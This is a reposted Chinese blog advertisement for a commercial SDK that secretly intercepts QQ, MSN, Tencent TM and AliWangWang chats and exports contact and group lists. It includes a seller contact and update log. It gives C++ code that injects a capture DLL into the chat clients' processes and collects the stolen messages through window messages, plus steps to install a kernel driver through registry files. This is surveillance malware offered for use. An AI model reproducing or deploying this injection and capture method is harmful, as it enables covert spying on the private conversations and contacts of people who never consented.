首页 > 其他 > 详细

即时通信截获SDK

时间:2014-03-21 23:18:50      阅读:880      评论:0      收藏:0      [点我收藏+]

近期把所有聊天相关模块进行了整合,整合到一个dll中,并对代码进行了大量的重构和优化,另外就是一些新的功能,目前情况如下:

【技术特点】
1.采用技术方案为hook方式,非不可靠的硬编码、非不负责任的读内存方式。
2.考虑便于维护的技术方案,不会随qq变更而需要大作改动,类似以前版本的SaveMsg方案。

3.支持后台聊天记录即不打开聊天窗口即可记录聊天记录。
4.支持图片、表情、语音、文件传输以及图文混排复杂消息记录(难点),可以显示为与消息管理器同样效果,即与你在历史聊天记录里看到的是一样的效果(图文并茂)。
5.支持QQ好友列表后台导出,群列表后台导出。
6.兼容32位64位,包含从应用层到驱动层,是一整套完整的方案。

7.商业代码,与技术代码有本质的区别,有经验的同行应该都了解,从技术到产品是有一段很长的距离的,我们的SDK一个api,封装完善,调用一下即可,完全傻瓜化。
8.稳定的框架和技术沉淀,代码从08年到现在已经经过了5年的沉淀。

【目前功能】
支持QQ2008~QQ5.2所有版本,支持MSN、支持阿里旺旺所有版本,包括阿里旺旺买家版本、阿里旺旺卖家版、贸易通、阿里旺旺国际版中国站版本的聊天内容截获,支持QQ所有版本的好友列表、群列表后台导出。
QQ:627660966
【更新历史】
20140321更新
1.新增好友、群列表导出SDK调用接口。

20140319更新
1.加入了阿里旺旺买家版、卖家版、国际版中国站版、贸易通支持,同时对中文以及英文版做了兼容处理。

20140220更新
1.加入腾讯TM支持,并对旧版本做了兼容。

20140217更新
1.解决了某种特殊情况下导致崩溃问题。
2.加固程序稳定性,并对程序进行了稳定性测试,测试在1000个群环境下稳定运行7*24小时无退出。

20140127更新
1.增加讨论组支持。
2.增加好友列表、群列表导出功能。
3.解决部分群昵称不显示问题。
4.解决部分好友昵称不显示问题。
.
.
.
省去之前多次更新

【调用方式】

一、应用层
应用层包含了两部分内容,DllInjector和im32.dll。
其中DllInjector是注入器,IM32.dll是截获聊天内容的核心dll,两者通过消息方式进行通信。
IM32.DLL通过WM_COPYDATA消息将截获的消息发送到DllInjector程序,因此往往需要编写一个窗口程序,能够接收IM32.DLL发来的WM_COPYDATA消息,功能与DllInjector雷同。
窗口符合以下特点:
定义一个全局变量:long g_WindowData = 2234654;
然后在接收消息的窗口设置属性
LRESULT CMainDlg::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
{
 SetWindowLongPtr(GWLP_USERDATA,g_WindowData);//im32.dll靠这个变量来查找目标发送窗体
 
 //开启监控进程来自libinject.dll,导出函数原型见下方
 //extern "C" __declspec(dllexport) int StartMonitorEx(wchar_t* ProcessName,wchar_t* DllName);
 StartMonitorEx(L"QQ.exe", L"c:\\im32.dll");
 StartMonitorEx(L"msnmsgr.exe", L"c:\\im32.dll");
 StartMonitorEx(L"TM.exe" L"c:\\im32.dll");
 StartMonitorEx(L"AliIM.exe", L"c:\\im32.dll");
}
引入头文件DataPack.h
LRESULT CMainDlg::OnCopyData(UINT /*uMsg*/, WPARAM wParam, LPARAM lParam, BOOL& /*bHandled*/)
{
 PCOPYDATASTRUCT pMyCDS = (PCOPYDATASTRUCT) lParam;
 if(pMyCDS)
 {
  DATA_PACK* pData = (DATA_PACK*)(pMyCDS->lpData);
  if(pData)
  {
   if(!pData->dwFlag==0x1234)
    return 0;
   if(wcsicmp(pData->szMsgType,L"msg")==0)
   {
    MSG_DATA*  pMsgData = (MSG_DATA*)(pMyCDS->lpData);
    int nItem = m_ListMSG.InsertItem(m_ListMSG.GetItemCount(),pMsgData->szIMType);
    m_ListMSG.SetItemText(nItem,1,pMsgData->szTime);
    m_ListMSG.SetItemText(nItem,2,pMsgData->bSender?L"-->":L"<--");
    m_ListMSG.SetItemText(nItem,3,pMsgData->szMsgSubType);
    m_ListMSG.SetItemText(nItem,4,pMsgData->szCurrentAccount);
    m_ListMSG.SetItemText(nItem,5,pMsgData->szCurrentNickName);
    m_ListMSG.SetItemText(nItem,6,pMsgData->szSenderAccount);
    m_ListMSG.SetItemText(nItem,7,pMsgData->szSenderNickName);
    m_ListMSG.SetItemText(nItem,8,pMsgData->szPeerAccount);
    m_ListMSG.SetItemText(nItem,9,pMsgData->szPeerNickName);
    m_ListMSG.SetItemText(nItem,10,pMsgData->szContent);
   }
   if(wcsicmp(pData->szMsgType,L"contact")==0)
   {
    CONTACT_DATA* pContactData=(CONTACT_DATA*)(pMyCDS->lpData);
    int nItem = m_ListContact.InsertItem(m_ListMSG.GetItemCount(),pContactData->szIMType);
    m_ListContact.SetItemText(nItem,1,pContactData->szMsgSubType);
    m_ListContact.SetItemText(nItem,2,pContactData->szCurrentAccount);
    m_ListContact.SetItemText(nItem,3,pContactData->szCurrentNickName);
    m_ListContact.SetItemText(nItem,4,pContactData->szParentId);
    m_ListContact.SetItemText(nItem,5,pContactData->szParentValue);
    m_ListContact.SetItemText(nItem,6,pContactData->szChildId);
    m_ListContact.SetItemText(nItem,7,pContactData->szChildValue);
   } 
  }
 }

 return 0;
}

二、驱动层
32位系统下如果需要监控qq的话,需要安装驱动。
1.复制im32drv86.sys、im32.dll到c:\windows\system32\drivers\下。
2.双击im32drv86.reg,安装驱动(SDK以代码形式写入注册表效果相同)。
3.双击config.reg,初始化驱动(SDK以代码形式写入注册表效果相同)。
4.重启系统进行测试。

应用层与驱动层互不冲突,互不依赖,仅仅是两层保障,驱动层只是为了注入qq。
QQ:627660966

最后上一张截图(上面是聊天信息,下面是好友和群组列表):

bubuko.com,布布扣





即时通信截获SDK,布布扣,bubuko.com

即时通信截获SDK

原文:http://blog.csdn.net/nengx/article/details/21744711

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!